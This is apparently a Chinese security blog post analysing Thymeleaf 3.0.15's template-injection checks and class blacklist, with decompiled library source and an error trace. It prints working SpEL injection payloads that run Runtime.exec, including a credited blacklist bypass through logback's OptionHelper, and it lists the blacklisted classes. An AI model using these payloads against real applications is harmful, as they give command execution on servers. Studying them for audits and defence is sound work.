前言

从之前的文章中我们分析后发现Thymeleaf 3.0.15版本中只要检测到"{"就会认为存在表达式内容,随后直接抛出异常停止解析来防范模板注入问题,此类场景用于我们URL PATH、Retruen、Fragment等可控的情况下进行,但是如果我们存在对模板文件进行更改、创建、上传等操作的时候我们还可以精心构造恶意的JAVA代码并将其写入模板中,随后触发执行

常规执行

使用之前的载荷进行尝试攻击会触发一下告警提示:

/doc;/__%24%7BT%09(java.lang.Runtime).getRuntime().exec("calc")%7D__%3A%3A.x

跟踪源代码进行分析:

随后调用containsExpression来检查是否包含表达式内容,匹配个关键点在于检索是否存在"{"

如果包含则直接防护true,随后直接抛异常——也就是说只有有表达式就会直接抛异常

同时在Thymeleaf 3.0.15.RELEASE版本中修复了LiteralSubstitutionUtil函数,添加了对于||的过滤处理,如果第一次匹配到"|"则将"inLiteralSubstitution"设置为true,随后继续向下进行匹配,如果匹配到第二个"|"且两者之间相邻则在最后添加拼接一个"||"而不再是直接置空,关于这一点大家可以自我研究一下,这里小透露一下就是这里的"||"是可以用于绕过Thymeleaf 3.0.14版本中的安全检测的,上面的变更已经说的很明显了,有兴趣的小伙伴可以变更pom文件随后进行一个简单的调试分析~
文件路径:org.thymeleaf.standard.expression.LiteralSubstitutionUtil
文件源码:

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package org.thymeleaf.standard.expression;
final class LiteralSubstitutionUtil {    private static final char LITERAL_SUBSTITUTION_DELIMITER = '|';
    static String performLiteralSubstitution(String input) {        if (input == null) {            return null;        } else {            StringBuilder strBuilder = null;            boolean inLiteralSubstitution = false;            boolean inLiteralSubstitutionInsertion = false;            int literalSubstitutionIndex = -1;            int expLevel = 0;            boolean inLiteral = false;            boolean inNothing = true;            int inputLen = input.length();
            for(int i = 0; i < inputLen; ++i) {                char c = input.charAt(i);                if (c == '|' && !inLiteralSubstitution && inNothing) {                    if (strBuilder == null) {                        strBuilder = new StringBuilder(inputLen + 20);                        strBuilder.append(input, 0, i);                    }
                    inLiteralSubstitution = true;                    literalSubstitutionIndex = i;                } else if (c == '|' && inLiteralSubstitution && inNothing) {                    if (i - literalSubstitutionIndex == 1) {                        strBuilder.append('|').append('|');                    } else if (inLiteralSubstitutionInsertion) {                        strBuilder.append('\'');                        inLiteralSubstitutionInsertion = false;                    }
                    inLiteralSubstitution = false;                    literalSubstitutionIndex = -1;                } else if (inNothing && (c == '$' || c == '*' || c == '#' || c == '@') && i + 1 < inputLen && input.charAt(i + 1) == '{') {                    if (inLiteralSubstitution && inLiteralSubstitutionInsertion) {                        strBuilder.append("' + ");                        inLiteralSubstitutionInsertion = false;                    } else if (inLiteralSubstitution && i > 0 && input.charAt(i - 1) == '}') {                        strBuilder.append(" + '' + ");                    }
                    if (strBuilder != null) {                        strBuilder.append(c);                        strBuilder.append('{');                    }
                    expLevel = 1;                    ++i;                    inNothing = false;                } else if (expLevel == 1 && c == '}') {                    if (strBuilder != null) {                        strBuilder.append('}');                    }
                    expLevel = 0;                    inNothing = true;                } else if (expLevel > 0 && c == '{') {                    if (strBuilder != null) {                        strBuilder.append('{');                    }
                    ++expLevel;                } else if (expLevel > 1 && c == '}') {                    if (strBuilder != null) {                        strBuilder.append('}');                    }
                    --expLevel;                } else if (expLevel > 0) {                    if (strBuilder != null) {                        strBuilder.append(c);                    }                } else if (inNothing && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) {                    inNothing = false;                    inLiteral = true;                    if (strBuilder != null) {                        strBuilder.append(c);                    }                } else if (inLiteral && !inLiteralSubstitution && c == '\'' && !TextLiteralExpression.isDelimiterEscaped(input, i)) {                    inLiteral = false;                    inNothing = true;                    if (strBuilder != null) {                        strBuilder.append(c);                    }                } else if (inLiteralSubstitution && inNothing) {                    if (!inLiteralSubstitutionInsertion) {                        if (input.charAt(i - 1) != '|') {                            strBuilder.append(" + ");                        }
                        strBuilder.append('\'');                        inLiteralSubstitutionInsertion = true;                    }
                    if (c == '\'') {                        strBuilder.append('\\');                    } else if (c == '\\') {                        strBuilder.append('\\');                    }
                    strBuilder.append(c);                } else if (strBuilder != null) {                    strBuilder.append(c);                }            }
            if (strBuilder == null) {                return input;            } else {                return strBuilder.toString();            }        }    }
    private LiteralSubstitutionUtil() {    }}

模板操控

在这里我们操作模板并改写为一下内容:

[[${T(java.lang.Runtime).getRuntime().exec("calc")}]]

随后启动项目并访问

报错提示如下所示:

2024-08-26 18:44:50.082 ERROR 7556 --- [nio-8090-exec-2] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.thymeleaf.exceptions.TemplateProcessingException: Exception evaluating SpringEL expression: "T(java.lang.Runtime).getRuntime().exec("calc")" (template: "welcome" - line 1, col 3)] with root cause
org.springframework.expression.EvaluationException: Access is forbidden for type 'java.lang.Runtime' in Thymeleaf expressions. Blacklisted classes are: [java.util.concurrent.RunnableFuture, java.util.concurrent.Executor, java.lang.Runtime, java.util.concurrent.FutureTask, java.util.concurrent.ListenableFuture, java.lang.Runnable, java.util.concurrent.Future, java.lang.Thread, java.lang.reflect.Executable, java.lang.Class, java.lang.ClassLoader, java.sql.DriverManager].    at org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType(ThymeleafEvaluationContext.java:188) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.springframework.expression.spel.ExpressionState.findType(ExpressionState.java:180) ~[spring-expression-5.3.27.jar:5.3.27]    at org.springframework.expression.spel.ast.TypeReference.getValueInternal(TypeReference.java:69) ~[spring-expression-5.3.27.jar:5.3.27]    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:56) ~[spring-expression-5.3.27.jar:5.3.27]    at org.springframework.expression.spel.ast.CompoundExpression.getValueInternal(CompoundExpression.java:92) ~[spring-expression-5.3.27.jar:5.3.27]    at org.springframework.expression.spel.ast.SpelNodeImpl.getValue(SpelNodeImpl.java:114) ~[spring-expression-5.3.27.jar:5.3.27]    at org.springframework.expression.spel.standard.SpelExpression.getValue(SpelExpression.java:338) ~[spring-expression-5.3.27.jar:5.3.27]    at org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator.evaluate(SPELVariableExpressionEvaluator.java:265) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.standard.expression.VariableExpression.executeVariableExpression(VariableExpression.java:166) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.standard.expression.SimpleExpression.executeSimple(SimpleExpression.java:66) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.standard.expression.Expression.execute(Expression.java:109) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.standard.expression.Expression.execute(Expression.java:138) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.standard.processor.AbstractStandardExpressionAttributeTagProcessor.doProcess(AbstractStandardExpressionAttributeTagProcessor.java:144) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.processor.element.AbstractAttributeTagProcessor.doProcess(AbstractAttributeTagProcessor.java:74) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.processor.element.AbstractElementTagProcessor.process(AbstractElementTagProcessor.java:95) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.util.ProcessorConfigurationUtils$ElementTagProcessorWrapper.process(ProcessorConfigurationUtils.java:633) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.engine.ProcessorTemplateHandler.handleOpenElement(ProcessorTemplateHandler.java:1314) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.engine.OpenElementTag.beHandled(OpenElementTag.java:205) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.engine.TemplateModel.process(TemplateModel.java:136) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.engine.TemplateManager.parseAndProcess(TemplateManager.java:661) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1098) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.TemplateEngine.process(TemplateEngine.java:1072) ~[thymeleaf-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.spring5.view.ThymeleafView.renderFragment(ThymeleafView.java:366) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.thymeleaf.spring5.view.ThymeleafView.render(ThymeleafView.java:190) ~[thymeleaf-spring5-3.0.15.RELEASE.jar:3.0.15.RELEASE]    at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1406) ~[spring-webmvc-5.3.27.jar:5.3.27]    at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1150) ~[spring-webmvc-5.3.27.jar:5.3.27]    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) ~[spring-webmvc-5.3.27.jar:5.3.27]    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965) ~[spring-webmvc-5.3.27.jar:5.3.27]    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.3.27.jar:5.3.27]    at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) ~[spring-webmvc-5.3.27.jar:5.3.27]    at javax.servlet.http.HttpServlet.service(HttpServlet.java:529) ~[tomcat-embed-core-9.0.75.jar:4.0.FR]    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.3.27.jar:5.3.27]    at javax.servlet.http.HttpServlet.service(HttpServlet.java:623) ~[tomcat-embed-core-9.0.75.jar:4.0.FR]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51) ~[tomcat-embed-websocket-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.3.27.jar:5.3.27]    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.3.27.jar:5.3.27]    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.3.27.jar:5.3.27]    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) ~[spring-web-5.3.27.jar:5.3.27]    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) ~[tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) [tomcat-embed-core-9.0.75.jar:9.0.75]    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.75.jar:9.0.75]    at java.lang.Thread.run(Thread.java:748) [na:1.8.0_181]

从上面可以看到黑名单:

Blacklisted classes are: [    java.util.concurrent.RunnableFuture,     java.util.concurrent.Executor,     java.lang.Runtime,     java.util.concurrent.FutureTask,     java.util.concurrent.ListenableFuture,    java.lang.Runnable,     java.util.concurrent.Future,     java.lang.Thread,     java.lang.reflect.Executable,     java.lang.Class,     java.lang.ClassLoader,    java.sql.DriverManager]

断点调试

从上面的报错不难看出这里都有对构造的模板进行黑名单检查,我们在org.thymeleaf.spring5.expression.ThymeleafEvaluationContext$ThymeleafEvaluationContextACLTypeLocator.findType下断点后进行分析调试

随后调用ExpressionUtils.isTypeAllowed(typeName)对typeName进行检索,检查是否是黑名单中的类,在这里后续检查typeName是否为NULL,随后提取前四个字符并于java进行比对,如果是一java开头的则依次循环遍历黑名单进行查找是否有匹配项,黑名单内容如之前调试部分所示,一共12个:

完整代码如下所示:

public static boolean isTypeAllowed(String typeName) {        Validate.notNull(typeName, "Type name cannot be null");        int i0 = typeName.indexOf(46);        if (i0 >= 0) {            String package0 = typeName.substring(0, i0);            if ("java".equals(package0)) {                Iterator var3 = BLACKLISTED_CLASS_NAME_PREFIXES.iterator();
                while(var3.hasNext()) {                    String prefix = (String)var3.next();                    if (typeName.startsWith(prefix)) {                        return false;                    }                }            }        }
        return true;    }

载荷构造

那么关于这里的绕过其实就显而易见了,只需要我们构造的模板中不包含上述的黑名单中的类名即可,这里给出其他师傅构造的一条payload:

[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]]

检查完黑名单之后调用findType(typeName)根据给定的类型名称查找相应的Java类

在这里调用ClassUtils.forName查找类

在这里首先检查类名name是否为空。如果为空则抛出异常,随后尝试通过调用resolvePrimitiveClassName(name)方法来解析基本数据类型,如果成功,赋值给clazz,如果不是基本数据类型,则从commonClassCache 中尝试获取该类的Class对象,随后处理数组类型的类名:

  • 第一种情况:如果类名以[]结尾,则表示它是一个普通数组,elementName是去掉[]的类名,然后递归调用forName找到元素类型的类,再使用Array.newInstance(...)创建一个空数组并返回该数组的Class对象

  • 第二种情况: 如果类名以[L开头并以;结尾,则表示它是一个对象数组,处理方式类似

  • 第三种情况: 如果类名以[开头但不符合前面两种情况,则表示它是一个原始类型数组,处理方式同样类似

随后开始查找常规类,如果传入的classLoader为null,则调用getDefaultClassLoader()获取默认的类加载器,尝试使用Class.forName(...)方法查找类名对应的类并返回其Class对象,随后处理嵌套类,如果找不到指定的类则检查该类名是否包含嵌套类(即类名中是否有点 .),如果存在,则从类名中构造嵌套类的名称(用$来分隔外部类和内部类),再次尝试查找

完整代码如下所示:

public static Class<?> forName(String name, @Nullable ClassLoader classLoader) throws ClassNotFoundException, LinkageError {        Assert.notNull(name, "Name must not be null");        Class<?> clazz = resolvePrimitiveClassName(name);        if (clazz == null) {            clazz = (Class)commonClassCache.get(name);        }
        if (clazz != null) {            return clazz;        } else {            Class elementClass;            String elementName;            if (name.endsWith("[]")) {                elementName = name.substring(0, name.length() - "[]".length());                elementClass = forName(elementName, classLoader);                return Array.newInstance(elementClass, 0).getClass();            } else if (name.startsWith("[L") && name.endsWith(";")) {                elementName = name.substring("[L".length(), name.length() - 1);                elementClass = forName(elementName, classLoader);                return Array.newInstance(elementClass, 0).getClass();            } else if (name.startsWith("[")) {                elementName = name.substring("[".length());                elementClass = forName(elementName, classLoader);                return Array.newInstance(elementClass, 0).getClass();            } else {                ClassLoader clToUse = classLoader;                if (classLoader == null) {                    clToUse = getDefaultClassLoader();                }
                try {                    return Class.forName(name, false, clToUse);                } catch (ClassNotFoundException var9) {                    int lastDotIndex = name.lastIndexOf(46);                    if (lastDotIndex != -1) {                        String nestedClassName = name.substring(0, lastDotIndex) + '$' + name.substring(lastDotIndex + 1);
                        try {                            return Class.forName(nestedClassName, false, clToUse);                        } catch (ClassNotFoundException var8) {                        }                    }
                    throw var9;                }            }        }    }

后续的类加载和执行不再跟进~

小结

本篇文章主要介绍了Thymeleaf 3.0.15版本中的模板注入检测机制以及绕过方式,在相关的代码审计中可以多多关注对应的Thymeleaf版本以及是否存在相关的模板注入点,随后结合环境进行payload的Fuzzing测试并结合具体的环境进行适当的调整载荷,不必过于局限,在Thymeleaf 3.0.15版本之后的模板注入主要集中在黑名单的绕过以及寻找可以更改目标文件的位置,例如:编辑、上传等功能点位

参考链接

https://github.com/thymeleaf/thymeleaf-spring/issues/295

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。